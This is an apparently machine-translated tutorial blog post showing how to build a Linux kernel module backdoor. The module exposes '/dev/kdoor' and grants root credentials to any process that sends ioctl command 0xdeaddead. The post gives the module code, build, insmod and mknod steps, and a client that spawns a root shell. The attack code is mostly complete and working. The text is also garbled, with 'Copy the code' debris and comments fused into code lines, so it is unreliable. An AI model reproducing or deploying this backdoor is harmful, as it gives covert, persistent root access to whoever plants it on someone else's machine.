Introduction to kernel Modules

The Linux kernel supports dynamic extension at run time, that is, the kernel extension module (.ko file) is dynamically loaded at run time. The code contained in the KO file becomes a part of the kernel code after loading and has kernel privileges, which can call other kernel components, access kernel spatial data and operate hardware. Of course, there are the same limitations as kernel code, such as a small function call stack, no support for floating point arithmetic, and so on.

Here are some kernel module-specific capabilities:

  • Hardware driver. Kernel module is the driver of hardware, which should be the main design goal of kernel module.
  • Process control. Kernel-mode has full control over the process, such as permission promotion (such as kernel backdoor), signal suspension (such as to protect a process from killing -9).
  • Kernel extensions. The kernel has some extension points that need to be done with modules (NetFilter, Linux’s firewall framework).

In addition, for well-known reasons, kernel modules are developed in C only.

Kernel module interface to user space

The kernel communicates with user space in the following ways:

  • The system calls
  • ioctl
  • proc
  • netlink

Of these, system calls are the most straightforward, but not suitable for kernel modules because extending system calls requires compiling the entire kernel, which defeats the purpose of dynamic extension at run time. /proc is a pseudo-file system that can be used to pass information, but not in real time because the file system is passive; The NetLink interface is similar to socket, providing two-way communication between the kernel and the user state. The function is completely no problem, but it is a bit complicated to use, suitable for more important things. Therefore, ioctl is used here.

Ioctl is file-specific operations, so the trick here is to create a device file and specify the kernel module as the driver for the device file. In this way, the iocTL instructions issued by user space to the device file can be passed to the kernel module.

Kernel backdoor

Since the kernel code has the highest system permissions (of course, root is required to load the kernel module, otherwise the system is not secure), you can leave a backdoor in the kernel module to obtain the highest system permissions at a later point. The kernel module is loaded and runs as part of the kernel. The user-space process calls the functions in the kernel module through IOCtl. The kernel module sets the UID and GID of the caller process to root to achieve permission promotion. In addition, since kernel modules run alongside the kernel, this backdoor has no process.

The specific implementation

Declare initialization and end entries

Init and cleanup are functions implemented in the module, and module_init(init) is described below; module_exit(cleanup);Copy the code

When a kernel module is loaded or unloaded, the corresponding initialization and cleanup functions are called, usually to apply for or release resources.

Equipment registration

Assign a device number and specify a function in the module as the device driver routine. This is usually done in the module initialization function, which is called automatically when the module is loaded:

static int init(void) {
   const char *const dev_name = "/dev/kdoor";
   g_major = register_chrdev(0, dev_name, &fops);
   if (g_major < 0) {
       return g_major;
   }
   return 0;
}
Copy the code

Where fOPS is an array of function Pointers that specify the address of the device driver function, here only need to register the response to open file, close file and ioctl function:

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = device_open,
    .release = device_release,
    .unlocked_ioctl = device_ioctl
};
Copy the code

Similarly, the driver needs to be uninstalled when the module is uninstalled. Release the device number resource:

Static void cleanup(void) {// Dev_name will appear in /proc/devices const char *const dev_name ="/dev/kdoor";
    unregister_chrdev(g_major, dev_name);
}
Copy the code

Turn on processing equipment

This function is automatically called when a process opens the corresponding device file. This function does not need to do anything, but returns success:

static int device_open(struct inode *inode, struct file *file) {
    return 0;
}
Copy the code

In response to the ioctl

This function is automatically called when a process calls ioctl on a device file. This is where our backdoor function is completed:

Static long device_ioctl(struct file *filp, unsigned int CMD, unsigned long arg) { Struct cred *new_cred; kuid_t kuid = KUIDT_INIT(0); kgid_t kgid = KGIDT_INIT(0);if (cmd == 0xdeaddead) {
        new_cred = prepare_creds();
        if (new_cred == NULL) {
             return -ENOMEM;
        }
        new_cred->uid = kuid;
        new_cred->gid = kgid;
        new_cred->euid = kuid;
        new_cred->egid = kgid;
        commit_creds(new_cred);
    }
    return 0;
}
Copy the code

Processing device shutdown

This function is called automatically when the device file descriptor is closed, or when the process is abnormal. For this example, there is still nothing to do:

static int device_release(struct inode *inode, struct file *file) {
    return 0;
}
Copy the code

Use of the back door

Compiling kernel modules

The core is a special Makefile:

ifneq ($(KERNELRELEASE),)
obj-m:=kdoor.o
else
PWD:=$(shell pwd)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
        $(MAKE) -C $(KDIR) M=$(PWD)
clean:
        rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
Copy the code

In addition, the kernel development directory needs to be installed when the kernel module is compiled.

Load module

After compiling the above modules, you get a KO file:

insmod ./kdoor.ko
Copy the code

Create a device

Create a device file using the mknod command: Create a device file according to the device driver number so that user space can communicate with the kernel module:

mknod /dev/kdoor c `grep KDoor /proc/devices|awk '{print $1}'` 0
Copy the code

The second parameter c indicates that a character device is being created, and the third parameter is the device number, which can be obtained from the /proc/devices file.

Using this backdoor in user space (promoting calling process permissions to root)

Go directly to the code (note the comments) :

int main(int argc, char *argv[]) {
    const char * const dev_name = "/dev/kdoor"; Int fd = open(dev_name, O_RDWR);if (-1 == fd) {
        return1; } int ret = ioctl(fd, 0xdeaddead, 0);if(ret ! = 0) {return1; } // Execute the shell with root permission execlp("sh"."sh", NULL);
    return 0;
}
Copy the code

summary

In this paper, by developing a simple kernel back door (normal process through the access rights to the kernel module to enhance) development, ability to demonstrate to the kernel module, and module as the general device driver and user space communications, hope to be able to play the role of the topic, let the reader know at least a kernel module such thing.